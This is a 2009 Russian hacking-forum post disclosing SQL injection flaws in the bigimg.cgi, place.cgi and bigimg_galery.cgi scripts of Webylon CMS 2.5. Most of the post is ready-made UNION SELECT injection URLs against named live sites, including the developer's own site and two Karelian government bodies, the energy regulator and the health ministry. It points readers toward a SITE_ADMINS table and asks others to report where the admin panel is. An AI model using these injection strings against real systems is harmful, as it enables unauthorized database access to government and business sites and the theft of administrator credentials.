Показать сообщение отдельно

webylon cms v 2.5 (sql)
  #8897  
Старый 17.04.2009, 16:32
fker
Участник форума
Регистрация: 26.11.2008
Сообщений: 158
С нами: 9187097

Репутация: 158
По умолчанию webylon cms v 2.5 (sql)

Уязвимы скрипты:
bigimg.cgi
Сайт фирмы разработчака cms(pr3):
Код:
http://www.webylon.ru/bigimg.cgi?id=-65+union+select+version(),2,3--
Комп сервис(pr4):
Код:
http://www.pcs.ru/bigimg.cgi?id=-1+union+select+version(),2,2--
Государственный комитет РК по энергетике и регулированию тарифов(pr4)
Код:
http://rekrk.ru/bigimg.cgi?id=-1+union+select+version(),2,2--
Министерство здравоохранения респ карелия:
Код:
http://mzsocial-rk.ru/bigimg.cgi?id=-1+union+select+version(),2,2--
и так далее, ок десятка сайтов...
place.cgi
Код:
http://nordfoto.ru/cgi/place.cgi?id=999+union+select+1,2,version()--
bigimg_galery.cgi(вывод смотреть в исходнике страницы)
Ассоциация защиты информации(pr4):
Код:
http://www.azi.ru/bigimg_galery.cgi?id=9999+union+select+version(),2,3,9--
и т.д. около 60 сайтов.

Вот такие шаблонные сайты предлогает фирма Mediaweb купить от 3к рублей =(
зы: интересная табличка SITE_ADMINS, и админка сама должна быть интересная ; ) с возможностью правки скриптов, как сообщяет саппорт, но ее я не нашел(сообщите плз есль кто найдет)
The end.
 
Ответить с цитированием